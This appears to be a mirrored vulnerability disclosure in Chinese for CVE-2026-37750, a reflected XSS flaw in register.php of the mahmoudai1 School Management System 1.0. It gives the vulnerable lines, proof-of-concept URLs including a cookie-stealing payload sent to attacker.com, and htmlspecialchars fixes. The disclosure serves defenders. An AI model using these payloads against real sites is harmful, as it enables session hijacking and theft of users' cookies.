Exploit for CVE-2026-37750

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MENEVARAD007-CVE-2026-37750
# CVE-2026-37750 — 学校管理系统 1.0 - 反射型 XSS

## 详细信息

字段| 信息  
---|---  
**CVE ID**|  CVE-2026-37750  
**类型**|  反射型跨站脚本（XSS）  
**严重性**|  中危（CVSSv3：6.1）  
**厂商**|  mahmoudai1  
**产品**|  学校管理系统  
**版本**|  1.0  
**发现者**|  Varad AP Mene  
**日期**|  2026-04-16  
**CWE**|  CWE-79  
  
* * *

## 描述

mahmoudai1 开发的学校管理系统 1.0 中存在一个反射型跨站脚本（XSS）漏洞，允许未经身份验证的远程攻击者通过 register.php 中未经过滤的 type 参数，在受害者浏览器中执行任意 JavaScript。该参数在第 22 行的 h1 标签内以及第 26 行的表单 action 属性中被直接反射，且未进行转义。利用此漏洞无需任何身份验证。

CVE ID：CVE-2026-37750 CWE：CWE-79 CVSSv3：6.1 中危（AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N）

* * *

## 产品描述

学校管理系统 1.0 是 mahmoudai1 在 GitHub 上发布的一款基于 PHP/MySQL 的 Web 应用程序，用于管理学校中的学生、教师和家长。

厂商 URL：https://github.com/mahmoudai1/school-management-system

* * *

## 漏洞文件

register.php — 注册表单（无需身份验证）

* * *

## 漏洞代码

第 22 行： echo ucfirst($_REQUEST['type'])

第 26 行： echo $_REQUEST['type']

未使用 htmlspecialchars() — 原始用户输入直接反射到 HTML 中。

* * *

## 概念验证

**前提条件：**

  * 无需身份验证
  * 目标必须运行学校管理系统 1.0



**步骤 1 — 打开浏览器并访问此 URL：** http://target/register.php?type=script-alert-document.cookie-/script

**步骤 2 — JavaScript 在浏览器中执行** 结果：弹出警告框，显示会话 Cookie。

**步骤 3 — Cookie 窃取载荷：** http://target/register.php?type=script-document.location-http://attacker.com/steal?c=-document.cookie-/script **步骤 4 — 表单 action 注入载荷：** http://target/register.php?type="-script-alert(1)-/script

**确认两个注入点：**

注入点 1 — h1 标签内（第 22 行）：

root@kitploit:~
    
    
    echo ucfirst($_REQUEST['type'])
    

输出：

root@kitploit:~
    
    
    <h1><script>alert(1)</script> Application</h1>
    

注入点 2 — 表单 action 属性内（第 26 行）：

root@kitploit:~
    
    
    echo $_REQUEST['type']
    

输出：

root@kitploit:~
    
    
    <form action="register.php?type=<script>alert(1)</script>">
    

## 影响

  * 通过 Cookie 窃取实现会话劫持
  * 钓鱼攻击 — 注入伪造登录表单
  * 通过重定向传播恶意软件
  * 无需身份验证



* * *

## 修复方案

第 22 行修复： echo htmlspecialchars(ucfirst($_REQUEST['type']), ENT_QUOTES, 'UTF-8');

第 26 行修复： echo htmlspecialchars($_REQUEST['type'], ENT_QUOTES, 'UTF-8');

* * *

## 参考链接

  * https://github.com/mahmoudai1/school-management-system
  * https://github.com/mahmoudai1/school-management-system/blob/main/register.php



* * *

## 发现者

Varad AP Mene 邮箱：some-email@example.com GitHub：https://github.com/menevarad007